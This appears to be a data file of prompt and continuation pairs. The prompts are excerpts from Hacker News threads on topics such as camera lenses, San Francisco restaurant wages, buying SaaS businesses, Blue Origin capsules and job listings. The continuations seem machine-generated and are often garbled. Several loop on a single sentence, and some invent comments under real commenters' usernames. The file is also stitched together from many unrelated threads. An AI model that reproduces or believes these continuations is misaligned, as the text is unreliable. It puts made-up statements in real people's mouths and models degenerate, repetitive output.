with different zoom settings\n\n~~~\nSlowOnTheUptake\nI'm no lens expert but I'd imagine that the differences in lighting and motion\nin landscapes and portraiture between takes might obscure the subtle\ndifferences between the lenses themselves. The static subjects probably give a\nmore fair comparison.\n\n~~~\nkpaddie\nDifference lenses have very different MTF (resolution vs how far away to the\ncenter of the lens) in theory and because of the different lens internal\nstructure, they also have different fringing, distortion performances as well.\nThe bokeh look different depending on the shape and the number of aperture\nblades. Sometimes it is not clear whether spending 2x or more is worth it so\nthis is I believe very helpful to help buyers to see what's the actual\ndifferences of lenses are without all those fancy ads.\n\n------\nEcco\nThat's very, very nice! Thank you!\n\nI noticed that on the most expensive lens, in the \"car\" scene, the focus seems\nto be very different than with other lenses. Which makes the comparison\ndifficult. Your DLSR most likely records autofocus points: it might be a good\nidea to actually display them in the JPEGs, because at such high apertures you\nreally want to look at what's in focus.\n\n~~~\nbwang29\n"} +{"output_text": " nothing to do with the topic at hand, which is that the\ndistracted driving problem is a _huge_ one, and that the solution is not to\nmake it harder for people to drive.\n\n~~~\ndsfyu404ed\n> Your point has nothing to do with the topic at hand, which is that the\n> distracted driving problem is a huge one, and that the solution is not to\n> make it harder for people to drive.\n\nIt's", "input_text": "al\", either. Check out DUI\nstatistics if you want bite-size proof that vast swaths of the population are\nfundamentally unfit to be driving, or show me data to back up your own point\nthat the roads are _not_ full of irresponsible drivers.\n\nOh, here's another good one: \"In 2017 alone, 3,166 people were killed in motor\nvehicle crashes involving distracted drivers.\" (from NHTSA:\n[https://www.nhtsa.gov/risky-driving/distracted-\ndriving](https://www.nhtsa.gov/risky-driving/distracted-driving))\n\n~~~\ndsfyu404ed\nOh quit your puritanical hand wringing.\n\nAverage people can drive in an average manner and go years or often decade,\nsometimes entire lifetimes without screwing up badly enough to attract law\nenforcement attention or get in a crash. We as a society have determined that\nis mostly good enough. Most people are satisfied with the current level of\nrisk/reward of driving and unless improvements come with minimal trade-offs\npeople are for the most part not interested. Society at large does not demand\nthe same religious adherence to traffic rules as you do.\n\nMore people were killed by fires (a hazard that most people would not consider\nto be a Big Problem(TM)) in 2016 than in crashes related to distracted\ndrivers.\n\n[https://www.usfa.fema.gov/data/statistics/fire_death_rates.h...](https://www.usfa.fema.gov/data/statistics/fire_death_rates.html)\n\n~~~\ncaconym_\n> puritanical\n\n> religious\n\nNice.\n\nYour point has"} +{"output_text": " I'm not sure if I'm willing to sell them all at once.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is the right place to ask this question, but I\u2019m looking\nfor a side project that I can sell. I\u2019m not looking to make a lot of money,\njust enough to cover my expenses.\n\n~~~\nebellity\nI'm not sure if this is the right place to ask this question", "input_text": ".com/gearseer/index.html)\n\n------\nMikeNomad\nAs of 30 Dec 2015 @ 0822 hrs US CST, the link generates a Traffic Quota\nExceeded error. Heck, that's one of the reasons why I still occasionally\npeddle to work.\n\n \nI'm looking to buy a small SaaS business - ebellity\nDoes anyone have side projects or products they're not working on anymore that they'd be interested in selling?

I'm looking for products, preferably SaaS, making $300 to $4000 in MRR\n======\nezekg\nDo you have an overall budget for this? And on this topic -- does anyone know\nof a place where profitable businesses can be sold? I know of places like\n[https://1kprojects.com/](https://1kprojects.com/) and similar sites but the\nlistings are not exactly \"businesses.\"\n\n~~~\nebellity\nYes - about $70k\n\nI know of 1kprojects, Transferslot, flippa, empire flippers and FE\ninternational but it's a bit hard to sort through everything to find quality\nproducts\n\n~~~\ncodegeek\nThe problem is that if it is a really good quality product that ALSO makes\nsome revenue, I doubt people are looking to sell on those sites. You have to\ngo hunt yourself. Once in a while, you may be able to find a Gem on those\nsites but yea, most are not worth the time/money unfortunately if you are\nlooking for something more than a simple side project.\n\n~~~\nezekg\nFWIW I have multiple revenue generating businesses that I'd be open to selling\nfor the right price, but"} +{"output_text": "YYTuZCjZcE?t=2m10s)\n\n------\njessriedel\nI'm not sure why they're using a parachute for the landing capsule. It seems\nlike they could just land the capsule with the booster.\n\n~~~\njessriedel\nI guess the parachute is to reduce the speed of the capsule, so that it can\nland safely.\n\n------\njessriedel\nI'm not sure why", "input_text": ")\n.)\n\n~~~\nwmf\nNote that's from December; there's another flight today but that isn't it.\n\n~~~\nrory096\nThe webcast was removed from Youtube when it ended \u2014 we'll have to wait for\nthem to recut and reupload it.\n\n[https://www.youtube.com/watch?v=ZUV53Nn3PhA](https://www.youtube.com/watch?v=ZUV53Nn3PhA)\n\n------\niamcreasy\nCan anybody answer me, why BlueOrigin has to detach the passenger module?\nCan't they just land the passenger module with the booster since the booster\nhave such controlled landing?\n\n~~~\njessriedel\nI don't know, but one possibility is that they think it's easier to ensure the\nextremely high degree of safety with a separate parachute capsule. If the\nboosters can be recovered 99% of the time, but are destroyed 1% of the time,\nthat would be plenty reliable to drastically cut the cost of the trip but\nobviously not reliable enough for humans. And it might not make sense to bring\nthat reliability to something like 0.1% or 0.01%, which you need for humans,\nif it doubles the cost of the booster.\n\n------\nckdarby\nCurious what happens if the parachute for the landing capsule fails or only\none deploys? Does it spin out of control and not land at 1 mph?\n\n~~~\nshirro\nThey tested that already. They can land with two just fine. There is video on\ntheir youtube channel\n[https://youtu.be/xYYTuZCjZcE?t=2m10s](https://youtu.be/x"} +{"output_text": " for the service provider.\n\n~~~\njellicle\n> Innovative would be paying a fixed salaray which allows your staff to live\n> in SF without relying on tips.\n\nThat's not what the article says. The article says that the staff are\n\"currently\" relying on tips.\n\n~~~\nchinathrow\nI'm not sure what you mean by \"currently\".\n\n~~~\njellicle\nThe staff are currently relying on tips.\n", "input_text": " random lottery.\n\n------\njellicle\n> figuring out how to pay him more without having him lose access to different\n> low-income programs for which he currently qualifies\n\nWow, the charitable impulses here are overwhelming. You'll pay him more, as\nlong as it doesn't lift him out of poverty. Wow. Wow.\n\nIf you want more staff, pay staff more. This easy equation has been understood\nfor thousands of years but business owners find it difficult to comprehend\nwhen it is their business.\n\n~~~\nJohnny555\n_Wow, the charitable impulses here are overwhelming. You 'll pay him more, as\nlong as it doesn't lift him out of poverty. Wow. Wow._\n\nIf a salary increase makes him ineligible for the services that he's using to\nstay in the city, the higher salary could be an effective cut in pay.\n\nWhile it's possible to pay him a large enough salary to make up for those\nservices, it's likely more than the business can afford.\n\n~~~\nsampo\nNot very capitalist to run a business that is dependent on the employees being\nable to live in assisted housing.\n\n~~~\nJohnny555\nSan Francisco is not a good model for capitalism. The housing market in\nparticular is highly skewed not just because of politics, but also geography.\n\n------\nchinathrow\n\"We, among others, tried to be innovative. We tried to go the \u2018service charge\ninclusive\u2019 route, automatically including 20% in every check.\"\n\nI wouldn't call that innovative. Innovative would be paying a fixed salaray\nwhich allows your staff to live in SF without relying on tips.\n\nOthers have done it in the US too. In lots of countries the world over,\ntipping is a plus"} +{"output_text": " from the lactose intolerance, it is\nnot a particularly unnatural food for humans to eat.\n\n~~~\ncies\nI'm not saying it's not a good food for humans to eat, but it's not a food\nthat is natural for humans to eat.\n\n~~~\ntoasterlovin\nI'm not saying it's not a good food for humans to eat, but it's not a food\nthat is natural for humans to eat.\n\n------\njim", "input_text": "at day\" but now I\ndread it.\n\nFriends ask why I did it. I don't have one particular reason. Just did it. I'm\nnot sure if the planet's better because of me not eating meat. I don't want to\nsound moral, but it does feel civilized, in an almost naive way, not to crave\nother animals. But I know I'm vegetarian because my body, and not my\nconscience, asked for it.\n\nI've always been a proud meat eater. I laughed at my sister when she turned\nvegan. But I now feel relieved like a criminal that confessed his crime after\n40 years in hiding. Trust me, eating meat is not important when you eat from a\nwide range of sources. Eating meat, poultry, seafood should be a special,\nalmost mystical thing (in some religions it is), reserved for special\noccasions. It should be local, not global. The massive processing of animals\nis not only cruel and insanely wasteful, but is quite unhealthy from the\nepidemiological and physiological perspective.\n\n~~~\ncies\nAs a long term lacto-ovo vegetarian, who is went mostly plant-based for health\nreasons: dairy causes many ailments, a quite unnatural food for humans to\neat...\n\n[https://www.youtube.com/watch?v=h3c_D0s391Q](https://www.youtube.com/watch?v=h3c_D0s391Q)\n\n~~~\ntoasterlovin\nFor some people.\n\nOthers of us are well adapted to dairy and, for us, dairy is a miraculous food\ncategory. It is a great source of protein and fat. It adds a wonderful\ndimension to so many recipes. And, aside"} +{"output_text": " the face and saying \u2018Fuck\nyou\u2019\u2026 I\u2019m not saying that\u2019s what it\u2019s about, but that\u2019s what it\u2019s about to me\nand that\u2019s what it\u2019s about to you\u2026 I\u2019m not saying that\u2019s what it\u2019s about to\nyou, but that\u2019s what it\u2019s about to me\u2026 I\u2019m not saying that\u2019s what it\u2019s about to\nyou, but that\u2019s what it", "input_text": "iquiet.com/music/2012/06/flashback-thom-yorke-explains-\nstreet-spirit-breaks-our-hearts/)\n\n\u201c\u2018Street Spirit\u2019 is our purest song, but I didn\u2019t write it\u2026. It wrote itself.\nWe were just its messengers\u2026 Its biological catylysts. It\u2019s core is a complete\nmystery to me\u2026 and (pause) you know, I wouldn\u2019t ever try to write something\nthat hopeless\u2026 All of our saddest songs have somewhere in them at least a\nglimmer of resolve\u2026 \u2018Street Spirit\u2019 has no resolve\u2026 It is the dark tunnel\nwithout the light at the end. It represents all tragic emotion that is so\nhurtful that the sound of that melody is its only definition. We all have a\nway of dealing with that song\u2026 It\u2019s called detachment\u2026 Especially me.. I\ndetach my emotional radar from that song, or I couldn\u2019t play it\u2026 I\u2019d crack.\nI\u2019d break down on stage.. that\u2019s why its lyrics are just a bunch of mini-\nstories or visual images as opposed to a cohesive explanation of its meaning\u2026\nI used images set to the music that I thought would convey the emotional\nentirety of the lyric and music working together\u2026 That\u2019s what\u2019s meant by \u2018all\nthese things are one to swallow whole\u2019.. I meant the emotional entirety,\nbecause I didn\u2019t have it in me to articulate the emotion\u2026 (pause) I\u2019d crack\u2026.\nOur fans are braver than I to let that song penetrate them, or maybe they\ndon\u2019t realize what they\u2019re listening to.. They don\u2019t realize that \u2018Street\nSpirit\u2019 is about staring the fucking devil right in"} +{"output_text": "\nI think the comment section on icanhascheeseburger is a good example of the\nvalue of a good comment system.\n\n------\njrockway\nI think the best way to make money is to make a product that people want.\n\n~~~\njrockway\nI think the best way to make money is to make a product that people want, and\nthen sell it to people who want it.\n\n------\njrockway\nI think the", "input_text": "? I mean do you feel bad that someone in\nIndia made $10m selling a special type of plastic sheet to farmers? Or someone\nin South Africa made millions selling vuvuzelas?\n\nIf your ultimate goal is to make money, then certainly wonder if you chose the\nright career. Money laundering or even investment banking might be a better\npath. Otherwise, realize the money is just a serendipitous by-product of any\nventure.\n\n~~~\nroel_v\n\"Or someone in South Africa made millions selling vuvuzelas?\"\n\nIf I ever find that guy, he's in for a world of pain.\n\n~~~\nLuc\nThe Vuvuzela (TM) maker was once a small startup that won an entrepreneurship\ncompetition and got help from an incubator:\n[http://www.fin24.com/Companies/SAB-moves-to-protect-\nvuvuzela...](http://www.fin24.com/Companies/SAB-moves-to-protect-\nvuvuzela-20040519)\n\nI have mixed emotions about this one, for sure.\n\n------\nck2\nStep 1: Take content from everyone and everywhere else and put it on your own\nsite.\n\n~~~\njessriedel\nMore like, come up with a great web-interface to allow a single, one-time idea\nfrom an individual user (which otherwise would have been heard only by him and\nhis friends) to be made available to the entire internet.\n\n------\nmynameishere\nIf the comment section on icanhascheeseburger doesn't drive you to suicide,\nyou're probably safe keeping that 45 in your house.\n\n~~~\nDaniel_Newby"} +{"output_text": " Hillary than\nthere are that like Trump.\n\n------\njoshstrange\nI'm not sure I agree with the premise that the \"shills\" are paid. I think the\nshills are people who are just so passionate about their candidate that they\nare willing to do whatever it takes to get their candidate elected.\n\n------\njoshstrange\nI'm not sure I agree with the premise that the \"shills\" are paid. I think the\nsh", "input_text": "_access_for_presidential_candidates#Party_nomination_processes)\n\nSo not only is there the huge well organized machine you mention could easily\ncollect signatures, there is also generally a much easier (and tightly\ncontrolled) path to the ballot.\n\nedit: It's quite likely that the president would be selected by the Electoral\nCollege, but personally I'd prefer that to the current process where the\npresident is selected by the superior voter targeting strategy.\n\n------\nprojectileboy\nIs this surprising to anyone? I assumed that all corporations, politicians and\ncelebrities pay armies of minions to cultivate public opinion. How could it be\nany other way? I hardly think Bernie Sanders' campaign doesn't do the same\nthing.\n\n~~~\npstuart\nI'm guessing the Sanders' campaign has enough volunteers doing that.\n\n/meta\n\n------\nr-w\nMaybe the real problem is that people in this country still think that the\nmore they hear something, the more it\u2019s worth hearing. If they\u2019d only keep\nthose little slivers of truth about Hillary in mind among the sea of lies\u2014if\nthere were any mental permanence to their observations about her\u2014then maybe\nshe\u2019d stop being able to slip through the cracks like she has about the\nemails, the speeches, and (foreseeably) _this_ Big Brother-esque move.\n\n------\nkoolba\nPaying for shill comments would probably be cheaper:\n[https://xkcd.com/1019/](https://xkcd.com/1019/)\n\n------\npatrickg_zill\nWhat it means (in combination with the analysis that a huge %age of Twitter\nfollowers are not real) is, there are even less humans that like"} +{"output_text": " think.\n\n~~~\njamesjguthrie\nI'm in year 11 and I'm doing A-levels. I'm doing maths, physics, chemistry,\nbiology and English.\n\n------\njamesjguthrie\nI'm in year 11 and I'm doing A-levels. I'm doing maths, physics, chemistry,\nbiology and English.\n\n------\njamesjguthrie\nI'm in year 11 and I'm doing", "input_text": " programming, because you need it. I also\nneeded it when I was your age.\n\nIn my case I started programming while also studying engineering in Europe. I\nmade a company with the code I accumulated over this time, with the knowledge\nof programming being really useful to manage other people(and identifying who\nis really good or not at it and so on).\n\nPeople consider me rich now(there is always someone else with more money, but\nI have more than what my family needs), but I went through very hard times\nbefore it(my family wanted me to get a good job instead of risking so much).\n\nIf you force yourself to study more, you will regret it.\n\nMy advice:\n\nFocus on learning to study more efficiently, the idea is to use the time you\nalready use to study faster and get better grades while also giving time to\nprogramming.\n\nLearn from the masters, read the Audiobook \"The Now habit\", learn aabout\nmindmaps and mnemonics, and always go for the best.\n\nUse software for remembering stuff.\n\n------\nbrador\nResearching? Tell me you don't mean reading random wikipedia articles and\nbrowsing the web here.\n\nYou're at the stage of life where you need to develop deep skills in subjects.\nAt the early stages of that process it can be hard to motivate yourself.\nYou're gonna have to power through and realise you're doing this for future\nyou not current you.\n\n------\nirremediable\nHey there! From the sound of it, you're about sixteen years old and live in\nBritain. A few years ago, I was your age and in a similar position. What\ngrades are you getting at the minute? A-levels might be easier for you than\nyou"} +{"output_text": "\n\n~~~\nzbobet2012\nI don't think that's a good argument.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n\nThe article is about small modular reactors.\n", "input_text": " fight for USA would be to get a bunch of large long-\nrange cargo planes carrying pallet launched missiles and drones and dump it\nall at standoff range. The only thing holding that strategy back is the cost\nand logistics of keeping those planes fuelled in the air.\n\n~~~\npastage\nKeeping those planes maintained and serviced is going to cost abit too.\n\n------\nyk\n> Electricity costs [for small modular reactors] would be 30% lower than for a\n> large nuclear facility, matching wind power, with the modular approach\n> allowing parts to be made on a factory production line.\n\nI wonder why they don't use wind power in that case.\n\n~~~\nzbobet2012\nBase load generation.\n[https://en.m.wikipedia.org/wiki/Base_load](https://en.m.wikipedia.org/wiki/Base_load)\n\nOr put another way the wind doesn't always blow at the same rate.\n\n~~~\nKrasnol\n[https://skepticalscience.com/print.php?r=374](https://skepticalscience.com/print.php?r=374)\n\nSummary\n\nArguments that renewable energy isn't up to the task because \"the Sun doesn't\nshine at night and the wind doesn't blow all the time\" are overly simplistic.\n\nThere are a number of renewable energy technologies which can supply baseload\npower. The intermittency of other sources such as wind and solar photovoltaic\ncan be addressed by interconnecting power plants which are widely\ngeographically distributed, and by coupling them with peak-load plants such as\ngas turbines fueled by biofuels or natural gas which can quickly be switched\non to fill in gaps of low wind or solar production."} +{"output_text": "al\" (Manning) is a good example of this style.\n\nc. a more \"textbook\" / algorithmic approach? I remember thinking \"Introduction\nto Algorithms\" (Cormen, Leiserson, Rivest) was one of the lighter texts that\ndidn't necessarily feel \"textbook.\" \"Introduction to Algorithms\" (Cormen,\nLeiserson, Rivest) is a good example of this style.\n\nd. a more", "input_text": " caters to multiple reading levels, from newbies to advanced readers?

What to you, makes good writing?\n======\nswanson\nNot strictly computer science - but the one textbook that I really liked from\nmy computer engineering degree was \"Computer Organization and Design: The\nHardware/Software Interface\" ([http://www.amazon.com/Computer-Organization-\nDesign-Fourth-Ed...](http://www.amazon.com/Computer-Organization-Design-\nFourth-Edition/dp/0123747503)). It was surprisingly readable and easy to\nfollow. It covers the design of a MIPS processor from the ground up (ALU,\ncaches, memory, pipelining, etc) and also is self-aware enough to not pretend\nthat x86/ARM don't exist.\n\n------\nvergeman\nI suppose it depends on your approach - my two cents - is your book...\n\na. geared toward programming / learning a language? I've been surprised, given\nthe sparsity, the efficacy of a \"showing-by-example\" style of writing seen in\nthe Apache Thrift documentation. K&R (to me) is decent for language\nacquisition, but even more useful as a quick \"how did they do that again\"\nrefresher. I've found \"Linux Kernel Development\" (Love) as a very nice book\nblending concepts with programmatic examples. So the above is maybe a spectrum\nwithin this style of writing that I've found helpful.\n\nb. a more \"textbook\" / algorithmic approach? I remember thinking \"Computer\nNetworking: A Top-Down Approach\" (Kurose, Ross) was one of the lighter texts\nthat didn't necessarily feel \"textbook.\" \"Introduction to Information\nRetriev"} +{"output_text": " than normal weight children.\n\nThe article does not say that the virus causes obesity.\n\n~~~\nbrudgers\nThe article says that the virus causes obesity.\n\n~~~\ncrpatino\nThe article says that the virus causes obesity.\n\nThe article says that the virus causes obesity.\n\nThe article says that the virus causes obesity.\n\nThe article says that the virus causes obesity.\n\nThe article says that the virus causes obesity.\n\nThe article", "input_text": "/21571445-cost-postponing-\ninevitable-devaluation-out-stock)\n\n------\ncobbzilla\nyeah that's not a sensationalist headline at all.\n\n~~~\ndrb91\nSure it\u2019s not flaming guitars, but for once the movie reference seems more\nexaggeration than fiction.\n\n~~~\nmegaman22\nThe first Mad Max was not particularly post-apocalyptic - the world was\nfalling down, but the vestiges of society were still rather strong, and the\nlunatic fringe like Toecutter were just motorcycle gangs cranked up to 11.\n\nThings have gotten weirder and weirder in every installment since.\n\n~~~\nmeesterdude\n> Things have gotten weirder and weirder in every installment since\n\nReality is following suit\n\n \n\nWestern surge in obesity may have been caused by a virus - vl\nhttp://www.independent.co.uk/life-style/health-and-families/health-news/western-surge-in-obesity-may-have-been-caused-by-a-virus-2084737.html\n\n======\nVBprogrammer\nI'm disinclined to believe this study purely on the basis that I've yet to\nmeet an heavily overweight person who did not have a terrible diet to exercise\nratio.\n\nI wonder how good the science behind it is!\n\n~~~\nbrudgers\n_I wonder how good the science behind it is!_\n\nBetter than anecdote according to the article.\n\n~~~\ncrpatino\nCorrelation!= Causation\n\nThe article revolves around how much more likely it is for obese children to\nbe infected by the virus"} +{"output_text": " over $1.5 million in revenue.\n\nWe're looking for a senior full-stack engineer to help us build out our\ninfrastructure and scale our business.\n\n[https://teachable.com/jobs/full-stack-engineer-nyc-\nnyc](https://teachable.com/jobs/full-stack-engineer-nyc-nyc)\n\n------\njason_slack\nSlack | San Francisco", "input_text": "\nI've considering moving out of my country. How's the working environment\nthere? And the salary?\n\n------\n1as\nIntercom \u25cf Onsite \u25cf San Francisco \u25cf Product Engineers\n\nI\u2019m looking for great software engineers who are highly opinionated about the\nproducts they work on.\n\nIntercom [1] is growing exceptionally quickly [2], as we build out the\ncustomer communication platform. At the highest level, we\u2019re trying to make\nInternet business authentic and personal for everyboddy.\n\nEmail me directly at stephen@intercom.com and let\u2019s chat.\n\n[1] [https://intercom.com](https://intercom.com) [2]\n[https://breakoutlist.com/](https://breakoutlist.com/)\n\n------\nbobbykrk\nIdeamotive | Warsaw, Poland | New Business Developer | Part-Time | Remote\n\n[https://ideamotive.co/](https://ideamotive.co/)\n\nIdeamotive is a Polish software house developing web applications to clients\naround the world. We are looking for a person who will help us sell our\nservices to the most prominent markets (USA, UK, Germany, Switzerland,\nScandinavia, Israel). Our technology stack includes Ruby on Rails and React.\nOur offer is targeted to start-ups and middle size companies willing to\nmodernize their processes.\n\nApply at: newhero@ideamotive.co\n\n------\npatmcguire\nTeachable | NYC | Full Time | ONSITE | VISA\n\nTeachable lets anyone easily create and sell online courses on a beautiful,\nself-branded website. We have 7,500 active teachers (and counting), who to\ndate have made"} +{"output_text": "ins to do the work of junior devops\npeople. I was a junior devops person.\n\n~~~\njlgaddis\n> _Twelve years ago, I hired senior sysadmins to do the work of junior devops\n> people. I was a junior devops person._\n\nI'm not sure I'd call that a \"cross over\" but I can certainly understand how\nyou might have felt that way at the time.\n\n------\njlg", "input_text": " give you a pretty\ndecent starter for 10, with a minimum of hassle and a minimum of bloat. Boot\nthe ISO (PXE, obviously) and off you go.\n\nEven doing the install by hand, you get a _fully_ patched basic server up and\nrunning within 10-20 minutes - the install is all off the current packages.\nAdd Samba and a few copy n pastes and you have AD joined. A few more copy n\npastes from your docs and you have an app server.\n\nI wrote this lot:\n[https://www.mediawiki.org/wiki/Intranet](https://www.mediawiki.org/wiki/Intranet)\nwhich simply assumes Ubuntu mini at the moment. I do have screenshots and\ncould put together a pretty noddy guide for that bit but I'm not sure its\nnecessary. Actually now I come to think of it, it probably is. Couple that\nwith my Ref. build and you have a domain joined, Kerberized etc app server\nwithin about an hour if you do the job by hand and are unfamiliar with the\nprocess. I can do it rather quicker.\n\nYes, the installer is a 30MB image - good. An installer's size is no\nreflection on the installation size.\n\nEDIT: I am from the sysadmin side of things and not dev ops...\n\n~~~\ndsr_\nSysadmin/devops is a nearly meaningless distinction. When a developer needs to\nwrite installation or configuration code, they cross over. When a sysadmin\nneeds to write code to monitor applications, they cross over. Senior sysadmins\nneed to write more code, senior developers need to know more about systems and\nnetworks.\n\nTwelve years ago, I hired senior sysadm"} +{"output_text": ", MySQL,\nMongoDB, Redshift, AWS, Docker, Kubernetes, Scala, Python, R, Julia, C++,\nJava, C#, Go, Haskell, SQL, NoSQL, HTML, CSS, JavaScript, AngularJS, React,\nReact Native, Vue.js, D3.js, WebGL, Three.js, WebRTC, WebRTC, WebRTC, WebRTC,\nWebRTC, WebRTC, WebRTC, WebRTC,", "input_text": " part-time engagement to help build\nyour product.\n\n\\---\n\nLocation: Europe (Berlin, Germany and Zagreb, Croatia depending on the season)\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: JavaScript (React, Redux, TypeScript, Node.js, Webpack),\nGraphQL, Ruby/Rails\n\nWebsite: [https://sinisamikulic.com](https://sinisamikulic.com)\n\nLinkedIn:\n[https://www.linkedin.com/in/sinisamikulic](https://www.linkedin.com/in/sinisamikulic)\n\nEmail: contact@sinisamikulic.com\n\n\\---\n\nSample project I co-founded \u2014 [https://movieo.me/](https://movieo.me/)\n\nI can jump on a call right away!\n\n------\nBenoitP\nMachine learning engineer, specialized in Explainable AI / ML\n\nRecent Highlights:\n\n* Implementation in Spark/Scala of treeinterpreter, currently used in production\n\n* Participation to the FICO-Google Explainable Machine Learning Challenge\n\n* Intuitive, visual data/signal explorer (work in progress, partial view at [http://explicable.ml](http://explicable.ml) (the 3D background view))\n\nLocation: Paris, France\n\nRemote: yes\n\nWilling to relocate: for the right job, yes\n\nTechnologies: SHAP, RuleFit, Random Forest, Word2Vec, PCA, t-SNE, LSH, ROC,\nScikit-Learn, Spark, Weka, Databricks, BigQuery, Hive, Postgres"} +{"output_text": "======\nKortaggio\nHey everyone, I'm the author of Painless CSS. I've been working on this for\nabout a year now, and I'm really excited to share it with the world.\n\nI've been a front-end developer for the past few years, and I've been\nstruggling to learn CSS. I've tried a lot of different resources, but none of\nthem have really stuck with me. I've been using Sass for a while", "input_text": "stringfello\nwhere are the white humans? and the yellow humans? and the jet black humans?\n\nI feel like the 1 skin tone is meant to be provocative, possibly be a\ndeliberate troll, maybe start a discussion.\n\ndoes the author wish to weigh in?\n\nas a white human I feel excluded. maybe I'm attaching too much importance to\nskin tone as a part of identity. I think partly that's in our brains, partly\nit's emphasised by the media to divide us and create outrage, for power and\nengagement.\n\n~~~\nAYBABTME\nThe average color of all human skin mixed together would probably be brown.\nPicking an average of everything should be highly uncontroversial.\n\n~~~\ncoreyp_1\nNobody is average.\n\nOK, that's too short to really mean anything, so I'll elaborate. If you take\nthe average characteristics of everyone in the world (wealth, skin tone,\nintelligence, BMI, height, gender, etc.), and turned that into a single\nperson, then you would have a new, unique person. In other words, it would not\n\"represent\" anyone, and so should definitely be seen as controversial. There\nare a myriad of engineering stories about this discovery (one size doesn't fit\nall).\n\nIf anything, I would have loved to see more diversity, or at the very least a\nprominent message on how to achieve it. Color might be the easiest change to\nmake, but I didn't see any old or fat people on there, or how to make those\nvariations.\n\nI like the overall idea of the project, though.\n\n \nShow HN: Painless CSS: Learn CSS from First Principles - Kortaggio\nhttps://www.painlesscss.com/\n"} +{"output_text": " the day.\n\nLesson: ask the company about their outsourcing history and plans.\n\n------\njoshu\nI've been in a similar situation.\n\nI was hired to work on a project that was a mess. I was told that the\nfounders had been working on it for a long time, and that they had a lot of\nexperience.\n\nI was also told that the project was a \"big deal\" and that it was \"the next", "input_text": " long team members have been with the organization, to\ntactfully get a sense of turnover. At a young company you might ask how team\ncame together: was it through past working relationships and friendships? or\nthe internet equivalent of putting an ad in the paper?\n\n------\nlnanek2\nThat happened to me recently. Everyone seemed great during the interview\nprocess, but the company was a disaster.\n\nOnce I got in the door I found out all the code was originally produced from\noutsourcing in Russia. So it had no comments and it had layer after layer\nafter layer of unneeded abstraction. So figuring out the behavior on an error\nin the BLE back end communicating with a fitness tracker required tracing\nthrough half a dozen unneeded classes like screen config beans, screen states,\nthe fragment state generators, to to error codes, to error messages, to\nfragment subclasses, to flow subclasses, to activity subclasses. All with\nif/else's for special conditions jammed everywhere even in things that should\nbe mindless DTOs and many parts never actually used and deep inheritance\nhierarchies. It could all have been easily done with 40 classes instead of\n120, with much simpler, more reliable code.\n\nLesson: ask the company about outsourcing history and plans.\n\nSoftware engineering has known for a long time that abstraction over\ncomposition really hurts maintainability and reliability, but clearly this\ncompany never heard of that. Normally this sort of thing is fixable, but the\ncouple staff developers they had brought in tended to just write whatever they\nthought would work, shove it into the app, then call it a day, not even smoke\ntesting, let alone writing unit tests. Developers frequently pushed code that\ndidn't even work in real testing on a device then left for"} +{"output_text": "~~~\ncloseparen\nI don't think that's the case. I think the problem is that the cost of\nrestaurants is rising faster than the demand for them.\n\n~~~\nxyzzyz\nI don't think that's the case either. I think the problem is that the cost of\nrestaurants is rising faster than the demand for them.\n\n------\njedberg\nI'm not sure why this is a surprise.\n\nI've been", "input_text": " location they want at a price that's\ncompetitive.\n\nAs long as plenty of other restaurants are managing to pay their staff enough\nso that they'll commute... and it doesn't seem like restaurants are\ndisappearing from SF... then isn't this just the case of a bad business plan,\nor product-market-mistmatch, for this one particular restaurant?\n\n~~~\nstaticautomatic\nThere are somewhat hard limits on the availability of labor though. I know a\nguy who owns a very popular and expensive restaurant that had to start closing\none day a week because he couldn't find enough staff, and not because he pays\nthem peanuts.\n\n~~~\nMikeb85\n> not because he pays them peanuts\n\nNot paying peanuts still doesn't mean it's enough.\n\n~~~\nTheSpiceIsLife\nBut if customers pay in peanuts and you have to offer staff cashew or\nmacadamias to attract enough skilled employees, you might find you have a non-\nviable business.\n\n~~~\nThriptic\nThis is my general response whenever these types of articles appear. If your\nlabor costs are insanely high, you need to raise prices. If people won't pay\nmore for your products, you need to create better products worth more money,\ngive staff equity and reduce profit, or shut down.\n\n~~~\ncloseparen\nThese types of articles are based on the assumption that we would like to\ncontinue having restaurants & the fact that they are (slowly) becoming\neconomically nonviable is a social problem.\n\n~~~\nxyzzyz\nIf rising prices reduced the demand so much that they become economically\nnonviable, then it means that we actually don't like having restaurants all\nthat much, otherwise we'd pay.\n\n"} +{"output_text": " a great example of this.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n------\njoshu\nI think the problem is that the network effect is not a good thing.\n\n", "input_text": " easier and safer than any conceivable \"multiple\ncircles\" system.\n\nFacebook's stuff lately has been butting-up against these limitation but not\novercoming them. I don't know these can be directly overcome with the \"I will\nmonetize my efforts\" approach and if they can't, it might be good.\n\n------\nnrmehta\nThought-provoking post. To me, one way to determine whether a system will have\nnetwork effects or anti-network effects is to ascertain how much of its usage\nis driven by fashion versus utility. Take email as an extreme example of the\nlatter. It's valuable because it's so universal - but it's not fashionable at\nall. It's a pure utility. So no anti-network effects (perhaps beyond spam but\nthose are less about #s of participants as behavior). I put Facebook in an\nintermediate category where it's transitioned reasonably well from fashion to\na utility, though the folks that looked at it as fashion are now getting more\nturned off by it. Indeed, the anti-network effect isn't simply about numbers -\nit's about who is coming into the network and a lost feeling of exclusivity\n(which honestly sometimes picks on very base human emotions) when the network\ngrows with certain types of people. I think twitter has moved further up the\nutility value chain than facebook has so I'd posit it's less vulnerable to\nanti-network effects (not to mention the asymmetric follow model that dalton\ntalks about).\n\n------\nSniffnoy\nI feel it is worth pointing out here that asymmetry is not original to\nTwitter. Consider e.g. LiveJournal.\n\n------\nepaik\nThis effect seems to happen commonly among news aggregating site communities.\n\nDigg used to be"} +{"output_text": " but compiles it to C#?\n\n~~~\nspitfire\nI'm not sure what you mean by \"compiled\" or \"interpreted\".\n\nI'm talking about the _language_ itself.\n\nI'm not sure what you mean by \"language implementation\".\n\nI'm not sure what you mean by \"language\".\n\nI'm not sure what you mean by \"language implementation\".\n\nI'm not sure what you mean by \"language\".\n\n", "input_text": " I think that it has to do\nwith what time you post, how exciting the post sounds, and what technologies\nare being used.\n\n------\nsmeyer\n>I've been relying on just this site for finding jobs for a few months now\n\nAny particular reason you're not using anything other than this site?\n\n------\ncowpig\nIt's hard to say, because not everyone lists that they came via HN 